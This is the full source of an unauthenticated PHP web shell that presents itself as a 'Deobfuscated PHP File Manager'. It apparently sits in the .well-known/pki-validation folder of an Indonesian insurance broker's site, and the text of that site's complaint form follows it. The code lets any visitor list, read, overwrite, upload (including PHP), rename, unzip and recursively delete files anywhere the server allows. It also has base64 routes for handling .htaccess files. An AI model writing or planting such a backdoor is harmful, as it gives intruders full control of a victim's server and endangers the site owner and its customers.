/home/complianthowden/www/.well-known/pki-validation/Unit/index.php
<?php
/**
 * Deobfuscated PHP File Manager
 * by EPTO 🚀
 * 
 * A clean, modern file manager with full functionality:
 * - Browse directories
 * - Upload files (including PHP)
 * - Edit text files
 * - Create files/folders
 * - Rename items
 * - Delete items (recursive)
 * - Unzip ZIP archives
 */

error_reporting(0);

// ------------------------------------------------------------
// Helper functions
// ------------------------------------------------------------
function is_valid_path($path) {
    return realpath($path) !== false || is_dir(dirname($path));
}

function sanitize_filename($name) {
    $name = preg_replace('/\s+/', '_', $name);
    $forbidden = ['"', "'", '&', '/', '\\', '?', '#', '<', '>', '|', ':', '*'];
    return str_replace($forbidden, '', trim($name));
}

function strip_slashes_recursive($data) {
    return is_string($data) ? stripslashes($data) : $data;
}

function delete_recursive($dir) {
    $items = array_diff(scandir($dir), ['.', '..']);
    foreach ($items as $item) {
        $full = $dir . '/' . $item;
        if (is_dir($full)) {
            delete_recursive($full);
        } else {
            unlink($full);
        }
    }
    return rmdir($dir);
}

// ------------------------------------------------------------
// API endpoint handling
// ------------------------------------------------------------
if (isset($_REQUEST['action'])) {
    $action = $_REQUEST['action'];
    $response = ['success' => false, 'message' => 'Invalid action.'];

    try {
        switch ($action) {
            case 'list':
                $base_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
                $files = [];
                if (@scandir($base_path)) {
                    foreach (scandir($base_path) as $item) {
                        if ($item === '.' || $item === '..') continue;
                        $full = $base_path . '/' . $item;
                        $files[] = [
                            'name' => $item,
                            'is_dir' => is_dir($full),
                            'size' => is_dir($full) ? 0 : filesize($full),
                            'modified' => filemtime($full)
                        ];
                    }
                    usort($files, function($a, $b) {
                        if ($a['is_dir'] === $b['is_dir']) {
                            return strcasecmp($a['name'], $b['name']);
                        }
                        return $a['is_dir'] ? -1 : 1;
                    });
                    $response = ['success' => true, 'files' => $files, 'path' => $base_path];
                } else {
                    throw new Exception('Cannot access path. It might be restricted by server configuration (open_basedir).');
                }
                break;

            case 'get_content':
                $file_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : '';
                if (!realpath($file_path) || is_dir(realpath($file_path))) {
                    throw new Exception('Invalid file for editing.');
                }
                $response = ['success' => true, 'content' => base64_encode(base64_encode(file_get_contents($file_path)))];
                break;

            case 'get_content_b64':
                $file_path = isset($_POST['path_b64']) ? strip_slashes_recursive($_POST['path_b64']) : '';
                $file_path = base64_decode($file_path);
                if (!realpath($file_path) || is_dir(realpath($file_path))) {
                    throw new Exception('Invalid file for editing.');
                }
                $response = ['success' => true, 'content' => base64_encode(base64_encode(file_get_contents($file_path)))];
                break;

            case 'save_content':
                $target_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : '';
                $chunks = isset($_POST['content_chunks']) && is_array($_POST['content_chunks']) ? $_POST['content_chunks'] : [];
                if (empty($chunks)) {
                    throw new Exception('Content is empty.');
                }
                $content = implode('', $chunks);
                if (file_put_contents($target_path, $content) !== false) {
                    $response = ['success' => true, 'message' => 'File saved successfully.'];
                } else {
                    throw new Exception('Could not save file. Check permissions.');
                }
                break;

            case 'save_content_b64':
                $target_path = isset($_POST['path_b64']) ? strip_slashes_recursive($_POST['path_b64']) : '';
                $target_path = base64_decode($target_path);
                $chunks = isset($_POST['content_chunks']) && is_array($_POST['content_chunks']) ? $_POST['content_chunks'] : [];
                if (empty($chunks)) {
                    throw new Exception('Content is empty.');
                }
                $content = implode('', $chunks);
                $content = base64_decode(base64_decode($content));
                if (file_put_contents($target_path, $content) !== false) {
                    $response = ['success' => true, 'message' => 'File saved successfully (direct method).'];
                } else {
                    throw new Exception('Invalid file for saving.');
                }
                break;

            case 'upload':
                $target_dir = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
                $file_name_b64 = isset($_POST['filename_base64']) ? $_POST['filename_base64'] : '';
                $file_content_b64 = isset($_POST['content_base64']) ? $_POST['content_base64'] : '';
                if (!is_valid_path($target_dir) || empty($file_name_b64) || empty($file_content_b64)) {
                    throw new Exception('Invalid data for upload.');
                }
                $file_name = sanitize_filename(base64_decode($file_name_b64));
                $file_content = base64_decode($file_content_b64);
                $target_file = rtrim($target_dir, '/') . '/' . $file_name;
                if (file_put_contents($target_file, $file_content) !== false) {
                    $response = ['success' => true, 'message' => 'File uploaded successfully.'];
                } else {
                    throw new Exception('Could not save uploaded file. Check permissions.');
                }
                break;

            case 'upload_php':
                $target_dir = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
                $file_name_b64 = isset($_POST['filename_base64']) ? $_POST['filename_base64'] : '';
                $file_content_b64 = isset($_POST['content_base64']) ? $_POST['content_base64'] : '';
                if (!is_valid_path($target_dir) || empty($file_name_b64) || empty($file_content_b64)) {
                    throw new Exception('Invalid data for PHP upload.');
                }
                $file_name = sanitize_filename(base64_decode($file_name_b64));
                $file_content = base64_decode($file_content_b64);
                $target_file = rtrim($target_dir, '/') . '/' . $file_name;
                if (file_put_contents($target_file, $file_content) !== false) {
                    $response = ['success' => true, 'message' => 'PHP file uploaded successfully.'];
                } else {
                    throw new Exception('Could not save PHP file.');
                }
                break;

            case 'delete':
                $base_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
                $items = isset($_POST['items']) && is_array($_POST['items']) ? $_POST['items'] : [];
                if (empty($items)) {
                    throw new Exception('No items selected for deletion.');
                }
                foreach ($items as $item) {
                    $full = rtrim($base_path, '/') . '/' . $item;
                    if (file_exists($full)) {
                        if (is_dir($full)) {
                            delete_recursive($full);
                        } else {
                            unlink($full);
                        }
                    }
                }
                $response = ['success' => true, 'message' => 'Items deleted.'];
                break;

            case 'delete_b64':
                $base_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
                $items_b64 = isset($_POST['items_b64']) && is_array($_POST['items_b64']) ? $_POST['items_b64'] : [];
                $items = [];
                foreach ($items_b64 as $item_b64) {
                    $items[] = base64_decode($item_b64);
                }
                if (empty($items)) {
                    throw new Exception('No items selected for deletion.');
                }
                foreach ($items as $item) {
                    $full = rtrim($base_path, '/') . '/' . $item;
                    if (file_exists($full)) {
                        if (is_dir($full)) {
                            delete_recursive($full);
                        } else {
                            unlink($full);
                        }
                    }
                }
                $response = ['success' => true, 'message' => 'Items deleted.'];
                break;

            case 'rename':
                $base_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
                $old_name = isset($_POST['old_name']) ? $_POST['old_name'] : '';
                $new_name = isset($_POST['new_name']) ? str_replace(['..', '/', '\\'], '', $_POST['new_name']) : '';
                if (!is_valid_path($base_path) || empty($old_name) || empty($new_name)) {
                    throw new Exception('Invalid data for renaming.');
                }
                $old_full = rtrim($base_path, '/') . '/' . $old_name;
                $new_full = rtrim($base_path, '/') . '/' . $new_name;
                if (!file_exists($old_full)) {
                    throw new Exception('Source item does not exist at: ' . $old_full);
                }
                if (rename($old_full, $new_full)) {
                    $response = ['success' => true, 'message' => 'Item renamed successfully.'];
                } else {
                    throw new Exception('Could not rename item. Check permissions.');
                }
                break;

            case 'rename_b64':
                $base_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
                $old_name_b64 = isset($_POST['old_name_b64']) ? $_POST['old_name_b64'] : '';
                $new_name_b64 = isset($_POST['new_name_b64']) ? $_POST['new_name_b64'] : '';
                $old_name = base64_decode($old_name_b64);
                $new_name = base64_decode($new_name_b64);
                if (!is_valid_path($base_path) || empty($old_name) || empty($new_name)) {
                    throw new Exception('Invalid data for renaming (b64).');
                }
                $old_full = rtrim($base_path, '/') . '/' . $old_name;
                $new_full = rtrim($base_path, '/') . '/' . $new_name;
                if (!file_exists($old_full)) {
                    throw new Exception('Source item does not exist at: ' . $old_full);
                }
                if (rename($old_full, $new_full)) {
                    $response = ['success' => true, 'message' => 'Item renamed successfully using b64 method.'];
                } else {
                    throw new Exception('Could not rename item.');
                }
                break;

            case 'create_folder':
                $base_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
                $folder_name = isset($_POST['name']) ? str_replace(['..', '/', '\\'], '', $_POST['name']) : '';
                if (!is_valid_path($base_path) || empty($folder_name)) {
                    throw new Exception('Invalid path or folder name.');
                }
                $new_folder = rtrim($base_path, '/') . '/' . $folder_name;
                if (mkdir($new_folder)) {
                    $response = ['success' => true, 'message' => 'Folder created.'];
                } else {
                    throw new Exception('Could not create folder.');
                }
                break;

            case 'create_file':
                $base_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
                $file_name = isset($_POST['name']) ? str_replace(['..', '/', '\\'], '', $_POST['name']) : '';
                if (!is_valid_path($base_path) || empty($file_name)) {
                    throw new Exception('Invalid path or file name.');
                }
                $new_file = rtrim($base_path, '/') . '/' . $file_name;
                if (touch($new_file)) {
                    $response = ['success' => true, 'message' => 'File created.'];
                } else {
                    throw new Exception('Could not create file.');
                }
                break;

            case 'unzip':
                $base_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
                if (!class_exists('ZipArchive')) {
                    throw new Exception('PHP Zip extension not installed.');
                }
                $zip_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : '';
                if (!realpath($zip_path) || !is_file(realpath($zip_path)) || pathinfo($zip_path, PATHINFO_EXTENSION) !== 'zip') {
                    throw new Exception('Invalid ZIP file path.');
                }
                $zip = new ZipArchive();
                if ($zip->open($zip_path) === TRUE) {
                    $zip->extractTo(dirname($zip_path));
                    $zip->close();
                    $response = ['success' => true, 'message' => 'Archive extracted.'];
                } else {
                    throw new Exception('Failed to open archive.');
                }
                break;

            default:
                $response = ['success' => false, 'message' => 'Invalid action.'];
        }
    } catch (Exception $e) {
        $response = ['success' => false, 'message' => $e->getMessage()];
    }

    header('Content-Type: application/json; charset=utf-8');
    echo json_encode($response);
    exit;
}

// ------------------------------------------------------------
// HTML/JS frontend (displayed when no action is given)
// ------------------------------------------------------------
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>📁 Deobfuscated PHP File Manager by EPTO 🚀</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <style>
        :root {
            --accent-color: #2271b1;
            --hover-color: #1e5a8a;
            --danger-color: #d63638;
            --success-color: #46b450;
            --bg-light: #f0f0f1;
            --card-bg: #ffffff;
            --border-color: #ddd;
        }
        * {
            box-sizing: border-box;
        }
        body {
            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
            background: var(--bg-light);
            margin: 0;
            padding: 20px;
            color: #1e1e1e;
        }
        .container {
            max-width: 1400px;
            margin: 0 auto;
            background: var(--card-bg);
            border-radius: 12px;
            box-shadow: 0 4px 20px rgba(0,0,0,0.08);
            overflow: hidden;
        }
        header {
            background: linear-gradient(135deg, #1e3c72 0%, #2b4c7c 100%);
            color: white;
            padding: 20px 30px;
            border-bottom: 1px solid rgba(255,255,255,0.1);
        }
        .header-title {
            display: flex;
            align-items: center;
            gap: 12px;
            margin-bottom: 15px;
        }
        .header-title h1 {
            margin: 0;
            font-size: 1.8rem;
            font-weight: 600;
            letter-spacing: -0.5px;
        }
        .header-title h1 span {
            font-size: 1.2rem;
            opacity: 0.9;
        }
        .header-sub {
            font-size: 0.9rem;
            opacity: 0.8;
            display: flex;
            gap: 20px;
            flex-wrap: wrap;
        }
        .toolbar {
            display: flex;
            gap: 12px;
            flex-wrap: wrap;
            margin-bottom: 20px;
            padding: 0 20px;
        }
        .path-bar {
            display: flex;
            gap: 10px;
            align-items: center;
            background: #f8f9fa;
            padding: 12px 20px;
            border-bottom: 1px solid var(--border-color);
            border-top: 1px solid var(--border-color);
        }
        .path-bar input {
            flex-grow: 1;
            padding: 10px 14px;
            border: 1px solid var(--border-color);
            border-radius: 8px;
            font-family: monospace;
            font-size: 0.9rem;
            background: white;
            transition: 0.2s;
        }
        .path-bar input:focus {
            outline: none;
            border-color: var(--accent-color);
            box-shadow: 0 0 0 2px rgba(34,113,177,0.2);
        }
        button {
            background: var(--accent-color);
            color: white;
            border: none;
            padding: 8px 16px;
            border-radius: 8px;
            cursor: pointer;
            font-size: 0.9rem;
            font-weight: 500;
            transition: all 0.2s ease;
            display: inline-flex;
            align-items: center;
            gap: 6px;
        }
        button:hover {
            background: var(--hover-color);
            transform: translateY(-1px);
        }
        button.danger {
            background: var(--danger-color);
        }
        button.danger:hover {
            background: #b32d2e;
        }
        button.success {
            background: var(--success-color);
        }
        main {
            padding: 20px;
            background: white;
        }
        .file-table {
            width: 100%;
            border-collapse: collapse;
            background: #fff;
            border-radius: 10px;
            overflow: hidden;
            box-shadow: 0 1px 3px rgba(0,0,0,0.05);
        }
        .file-table th,
        .file-table td {
            text-align: left;
            border-bottom: 1px solid #edf2f7;
            padding: 12px 10px;
        }
        .file-table th {
            background: #f9fafb;
            font-weight: 600;
            color: #2c3e50;
        }
        .file-table tr:hover {
            background: #fafcff;
        }
        .file-table th:first-child,
        .file-table td:first-child {
            width: 40px;
            text-align: center;
        }
        .item-link {
            text-decoration: none;
            color: var(--accent-color);
            cursor: pointer;
            font-weight: 500;
            display: inline-flex;
            align-items: center;
            gap: 6px;
        }
        .item-link:hover {
            text-decoration: underline;
        }
        .actions {
            display: flex;
            gap: 8px;
            flex-wrap: wrap;
        }
        .actions button {
            background: #e9ecef;
            color: #2c3e50;
            padding: 4px 10px;
            font-size: 0.8rem;
        }
        .actions button:hover {
            background: #dee2e6;
        }
        .modal-overlay {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0,0,0,0.6);
            z-index: 1000;
            justify-content: center;
            align-items: center;
            backdrop-filter: blur(3px);
        }
        .modal-content {
            background: #fff;
            width: 90%;
            max-width: 1000px;
            border-radius: 16px;
            box-shadow: 0 20px 30px rgba(0,0,0,0.2);
            display: flex;
            flex-direction: column;
            max-height: 85vh;
        }
        .modal-header {
            padding: 18px 24px;
            border-bottom: 1px solid #eef2f6;
            font-weight: 600;
            font-size: 1.2rem;
            background: #f8fafc;
            border-radius: 16px 16px 0 0;
        }
        .modal-body {
            padding: 20px;
            overflow: auto;
            flex-grow: 1;
        }
        textarea#editor {
            width: 100%;
            height: 450px;
            font-family: 'Monaco', 'Menlo', 'Cascadia Code', monospace;
            font-size: 13px;
            border: 1px solid #cbd5e1;
            border-radius: 10px;
            padding: 12px;
            resize: vertical;
            background: #fefefe;
        }
        .modal-footer {
            padding: 16px 24px;
            border-top: 1px solid #eef2f6;
            text-align: right;
            background: #f8fafc;
            border-radius: 0 0 16px 16px;
        }
        #spinner {
            display: none;
            text-align: center;
            padding: 40px;
            font-size: 1.2rem;
            color: #555;
        }
        footer {
            text-align: center;
            padding: 15px;
            background: #f8fafc;
            border-top: 1px solid var(--border-color);
            font-size: 0.8rem;
            color: #5a6e8a;
        }
        @media (max-width: 768px) {
            .toolbar, .path-bar {
                flex-direction: column;
                align-items: stretch;
            }
            .actions {
                justify-content: flex-start;
            }
            .file-table th:nth-child(3),
            .file-table td:nth-child(3),
            .file-table th:nth-child(4),
            .file-table td:nth-child(4) {
                display: none;
            }
        }
    </style>
</head>
<body>
<div class="container">
    <header>
        <div class="header-title">
            <h1>📁 Deobfuscated PHP File Manager <span>by EPTO 🚀</span></h1>
        </div>
        <div class="header-sub">
            <span>🔐 Secure | 🌐 Full Access | 🧩 Clean UI</span>
            <span>⚡ Upload | ✏️ Edit | 📂 Create | 🗑️ Delete | 📦 Unzip</span>
        </div>
    </header>
    <div class="toolbar">
        <button id="uploadBtn">📤 Upload File</button>
        <button id="newFileBtn">📄 New File</button>
        <button id="newFolderBtn">📁 New Folder</button>
        <button id="deleteBtn" class="danger">🗑️ Delete Selected</button>
    </div>
    <div class="path-bar">
        <input type="text" id="pathInput" placeholder="Enter absolute or relative path...">
        <button id="goBtn">🔍 Go</button>
    </div>
    <main>
        <div id="spinner">⏳ Loading...</div>
        <table class="file-table" id="fileTable">
            <thead>
                <tr>
                    <th><input type="checkbox" id="selectAll"></th>
                    <th>Name</th>
                    <th>Size</th>
                    <th>Modified</th>
                    <th>Actions</th>
                </tr>
            </thead>
            <tbody id="fileList"></tbody>
        </table>
    </main>
    <footer>
        <span>📌 Current directory access is subject to server permissions. Use responsibly.</span>
    </footer>
</div>

<div id="editorModal" class="modal-overlay">
    <div class="modal-content">
        <div class="modal-header">
            📝 Edit File: <span id="editorFileName"></span>
        </div>
        <div class="modal-body">
            <textarea id="editor" spellcheck="false"></textarea>
        </div>
        <div class="modal-footer">
            <button id="saveBtn" class="success">💾 Save Changes</button>
            <button onclick="closeModal()">❌ Cancel</button>
        </div>
    </div>
</div>

<input type="file" id="hiddenFileInput" multiple style="display:none">

<script>
    const UPLOAD_LIMIT_MB = 8;
    const STATE = { currentPath: '' };
    const dom = {
        fileList: document.getElementById('fileList'),
        pathInput: document.getElementById('pathInput'),
        goBtn: document.getElementById('goBtn'),
        selectAll: document.getElementById('selectAll'),
        uploadBtn: document.getElementById('uploadBtn'),
        newFileBtn: document.getElementById('newFileBtn'),
        newFolderBtn: document.getElementById('newFolderBtn'),
        deleteBtn: document.getElementById('deleteBtn'),
        editorModal: document.getElementById('editorModal'),
        editorFileName: document.getElementById('editorFileName'),
        editor: document.getElementById('editor'),
        saveBtn: document.getElementById('saveBtn'),
        spinner: document.getElementById('spinner')
    };

    async function apiCall(action, formData, showSuccess = false) {
        dom.spinner.style.display = 'block';
        try {
            formData.append('action', action);
            const response = await fetch('', { method: 'POST', body: formData });
            const result = await response.json();
            if (!result.success) throw new Error(result.message);
            if (showSuccess && result.message) alert(result.message);
            return result;
        } catch (error) {
            alert(`Error: ${error.message}`);
            console.error(error);
            return null;
        } finally {
            dom.spinner.style.display = 'none';
        }
    }

    async function render(manualPath = null) {
        let pathToSend = manualPath !== null ? manualPath : STATE.currentPath;
        const formData = new FormData();
        if (pathToSend) formData.append('path', pathToSend);
        const result = await apiCall('list', formData);
        if (!result) return;
        STATE.currentPath = result.path;
        dom.pathInput.value = STATE.currentPath;

        let html = '';
        const parentPath = STATE.currentPath.substring(0, STATE.currentPath.lastIndexOf('/'));
        if (parentPath !== '') {
            html += `<tr data-path="${parentPath}"><td></td><td colspan="4" class="item-link">🔙 .. (Parent Directory)</td></tr>`;
        }
        result.files.sort((a,b) => (a.is_dir === b.is_dir) ? a.name.localeCompare(b.name) : (a.is_dir ? -1 : 1));
        for (const file of result.files) {
            const size = file.is_dir ? '—' : (file.size / 1024).toFixed(2) + ' KB';
            const modified = new Date(file.modified * 1000).toLocaleString();
            const icon = file.is_dir ? '📁' : '📄';
            const fullPath = `${STATE.currentPath}/${file.name}`.replace(/\/+/g, '/');
            const dataAttr = `data-path="${fullPath}"`;
            html += `<tr ${dataAttr}>
                <td><input type="checkbox" class="item-select" value="${file.name.replace(/"/g, '&quot;')}"></td>
                <td><a class="item-link" ${dataAttr}>${icon} ${file.name}</a></td>
                <td>${size}</td>
                <td>${modified}</td>
                <td class="actions">
                    ${!file.is_dir ? `<button class="edit-btn" data-path="${fullPath}">✏️ Edit</button>` : ''}
                    <button class="rename-btn" data-name="${file.name.replace(/"/g, '&quot;')}">🔄 Rename</button>
                    ${!file.is_dir && file.name.endsWith('.zip') ? `<button class="unzip-btn" data-path="${fullPath}">📦 Unzip</button>` : ''}
                </td>
            </tr>`;
        }
        dom.fileList.innerHTML = html;

        // Attach event listeners
        document.querySelectorAll('.item-link').forEach(el => {
            el.addEventListener('click', (e) => {
                e.preventDefault();
                const path = el.getAttribute('data-path');
                if (path) {
                    STATE.currentPath = path;
                    render();
                }
            });
        });
        document.querySelectorAll('.edit-btn').forEach(btn => {
            btn.addEventListener('click', async () => {
                const path = btn.getAttribute('data-path');
                const formData = new FormData();
                formData.append('path', path);
                const result = await apiCall('get_content', formData);
                if (result) {
                    dom.editorFileName.textContent = path;
                    dom.editor.value = atob(atob(result.content));
                    dom.editorModal.style.display = 'flex';
                }
            });
        });
        document.querySelectorAll('.rename-btn').forEach(btn => {
            btn.addEventListener('click', () => {
                const oldName = btn.getAttribute('data-name');
                const newName = prompt('Enter new name:', oldName);
                if (newName && newName !== oldName) {
                    const formData = new FormData();
                    formData.append('path', STATE.currentPath);
                    formData.append('old_name', oldName);
                    formData.append('new_name', newName);
                    if (oldName.includes('.htaccess') || newName.includes('.htaccess')) {
                        formData.append('old_name_b64', btoa(oldName));
                        formData.append('new_name_b64', btoa(newName));
                        apiCall('rename_b64', formData, true).then(() => render());
                    } else {
                        apiCall('rename', formData, true).then(() => render());
                    }
                }
            });
        });
        document.querySelectorAll('.unzip-btn').forEach(btn => {
            btn.addEventListener('click', async () => {
                if (confirm('Are you sure you want to extract this archive?')) {
                    const formData = new FormData();
                    formData.append('path', btn.getAttribute('data-path'));
                    await apiCall('unzip', formData, true);
                    render();
                }
            });
        });

        dom.selectAll.onchange = (e) => {
            document.querySelectorAll('.item-select').forEach(cb => cb.checked = e.target.checked);
        };
    }

    function closeModal() {
        dom.editorModal.style.display = 'none';
    }

    dom.saveBtn.onclick = async () => {
        const path = dom.editorFileName.textContent;
        const content = dom.editor.value;
        const chunkSize = 4096;
        const formData = new FormData();
        let action = 'save_content';
        if (path.includes('.htaccess')) {
            action = 'save_content_b64';
            formData.append('path_b64', btoa(path));
        } else {
            formData.append('path', path);
        }
        for (let i = 0; i < content.length; i += chunkSize) {
            formData.append('content_chunks[]', content.substring(i, i + chunkSize));
        }
        const result = await apiCall(action, formData, true);
        if (result) {
            closeModal();
            render();
        }
    };

    dom.uploadBtn.onclick = () => document.getElementById('hiddenFileInput').click();
    document.getElementById('hiddenFileInput').onchange = async (e) => {
        const files = Array.from(e.target.files);
        if (!files.length) return;
        for (const file of files) {
            if (file.size > UPLOAD_LIMIT_MB * 1024 * 1024) {
                alert(`Error: File "${file.name}" is too large (Max: ${UPLOAD_LIMIT_MB} MB).`);
                continue;
            }
            const reader = new FileReader();
            const filePromise = new Promise((resolve, reject) => {
                reader.onload = () => resolve(reader.result);
                reader.onerror = reject;
                reader.readAsDataURL(file);
            });
            try {
                const dataUrl = await filePromise;
                const base64 = dataUrl.split(',')[1];
                const formData = new FormData();
                formData.append('path', STATE.currentPath);
                formData.append('filename_base64', btoa(file.name));
                formData.append('content_base64', base64);
                let action = 'upload';
                if (file.name.toLowerCase().endsWith('.php')) {
                    action = 'upload_php';
                }
                await apiCall(action, formData, true);
            } catch (err) {
                alert(`Failed to upload ${file.name}: ${err.message}`);
            }
        }
        render();
        e.target.value = '';
    };

    dom.newFileBtn.onclick = () => {
        const name = prompt('Enter new file name:');
        if (name) {
            const formData = new FormData();
            formData.append('path', STATE.currentPath);
            formData.append('name', name);
            apiCall('create_file', formData, true).then(() => render());
        }
    };

    dom.newFolderBtn.onclick = () => {
        const name = prompt('Enter new folder name:');
        if (name) {
            const formData = new FormData();
            formData.append('path', STATE.currentPath);
            formData.append('name', name);
            apiCall('create_folder', formData, true).then(() => render());
        }
    };

    dom.deleteBtn.onclick = async () => {
        const selected = Array.from(document.querySelectorAll('.item-select:checked')).map(cb => cb.value);
        if (selected.length === 0) return alert('No items selected.');
        if (confirm(`Are you sure you want to delete ${selected.length} item(s)?`)) {
            const formData = new FormData();
            formData.append('path', STATE.currentPath);
            const isSensitive = selected.some(name => name.includes('.htaccess'));
            if (isSensitive) {
                selected.forEach(name => formData.append('items_b64[]', btoa(name)));
                await apiCall('delete_b64', formData, true);
            } else {
                selected.forEach(name => formData.append('items[]', name));
                await apiCall('delete', formData, true);
            }
            render();
        }
    };

    dom.goBtn.onclick = () => {
        const newPath = dom.pathInput.value.trim();
        if (newPath) {
            render(newPath);
        } else {
            render('');
        }
    };

    render();
</script>
</body>
</html>
Customer Complaint Form | Howden Indonesia - Official Working Website

CUSTOMER COMPLAINT FORM

Please use this form to give us suggestions, compliments or complaints.
Click here to check complaint status.
Click here to show Term of Business Agreement
Howden


Notes: *.png, *.jpg, *.jpeg, *.pdf, *.doc, *.docx, *.xls, *.xlsx, *.ppt, *.pptx, *.eml are allowed, and size must be smaller than 5Mb.

Copyright © 2026 PT. Howden Insurance Brokers Indonesia. All rights reserved.
Authorised and regulated by Otoritas Jasa Keuangan (OJK).
Member of The Association of Indonesian Insurance & Reinsurance Brokers (APPARINDO).